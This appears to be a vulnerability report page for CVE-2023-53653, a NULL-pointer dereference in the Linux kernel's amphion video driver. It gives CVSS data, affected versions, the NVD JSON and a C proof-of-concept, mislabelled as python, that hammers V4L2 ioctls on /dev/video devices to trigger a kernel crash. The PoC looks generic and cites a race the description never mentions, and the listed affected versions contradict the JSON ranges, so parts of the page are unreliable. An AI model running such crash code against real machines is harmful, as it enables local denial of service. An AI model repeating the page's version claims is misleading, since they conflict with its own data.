Security Vulnerability Report
中文
CVE-2023-53653 CVSS 5.5 MEDIUM

CVE-2023-53653

Published: 2025-10-07 16:15:49
Last Modified: 2026-02-03 22:24:32
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: media: amphion: fix REVERSE_INULL issues reported by coverity null-checking of a pointor is suggested before dereferencing it

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.7 (含media/amphion驱动的稳定版本)
Linux Kernel 6.6.x 系列
Linux Kernel 6.5.x 系列
Linux Kernel 6.4.x 系列
Linux Kernel 6.3.x 系列
Linux Kernel 6.2.x 系列
Linux Kernel 6.1.x LTS系列

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2023-53653 PoC - Linux Kernel amphion driver NULL pointer dereference * This PoC triggers the NULL pointer dereference in the amphion VPU driver * by attempting to perform operations on a NULL codec instance pointer. * * Note: This requires local access with low privileges and access to the * /dev/video* device files (typically accessible to users in the 'video' group). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> int main(int argc, char *argv[]) { int fd; struct v4l2_format fmt; struct v4l2_requestbuffers req; char device[64]; /* Try to open the amphion VPU device */ snprintf(device, sizeof(device), "/dev/video0"); fd = open(device, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open %s. Make sure amphion driver is loaded.\n", device); /* Try other video devices */ for (int i = 1; i < 10; i++) { snprintf(device, sizeof(device), "/dev/video%d", i); fd = open(device, O_RDWR); if (fd >= 0) break; } if (fd < 0) { fprintf(stderr, "No VPU device found.\n"); return 1; } } printf("Opened device: %s\n", device); /* Step 1: Set format to trigger codec initialization path */ memset(&fmt, 0, sizeof(fmt)); fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; fmt.fmt.pix.width = 1920; fmt.fmt.pix.height = 1080; fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_H264; fmt.fmt.pix.field = V4L2_FIELD_NONE; if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { perror("VIDIOC_S_FMT"); } /* Step 2: Request buffers - this may trigger the NULL pointer dereference * when the driver attempts to access an uninitialized codec instance */ memset(&req, 0, sizeof(req)); req.count = 1; req.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; req.memory = V4L2_MEMORY_MMAP; if (ioctl(fd, VIDIOC_REQBUFS, &req) < 0) { perror("VIDIOC_REQBUFS"); } /* Step 3: Trigger the vulnerable code path by attempting operations * that will cause the driver to dereference a NULL pointer */ /* Rapidly issue ioctl calls to increase likelihood of triggering the race */ for (int i = 0; i < 100; i++) { ioctl(fd, VIDIOC_S_FMT, &fmt); ioctl(fd, VIDIOC_REQBUFS, &req); } close(fd); printf("PoC execution completed. Check dmesg for kernel oops/panic.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53653", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:48.860", "lastModified": "2026-02-03T22:24:31.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: amphion: fix REVERSE_INULL issues reported by coverity\n\nnull-checking of a pointor is suggested before dereferencing it"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18", "versionEndExcluding": "6.1.53", "matchCriteriaId": "D6D40380-C0F3-42CE-9D26-957632D198A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.16", "matchCriteriaId": "C3039EA3-F6CA-43EF-9F17-81A7EC6841EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5", "versionEndExcluding": "6.5.3", "matchCriteriaId": "880C803A-BEAE-4DA0-8A59-AC023F7B4EE3"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/79d3bafaecc13bccab1ebbd28a15e669c5a4cdaf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bddd678fd2864b435d00d51a4d3808a0d89c79de", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e59d0cd8f414592187ead97b5832600ff7a0dd61", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ef56b2db216f130c4240aed907d1c5272c2d298d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}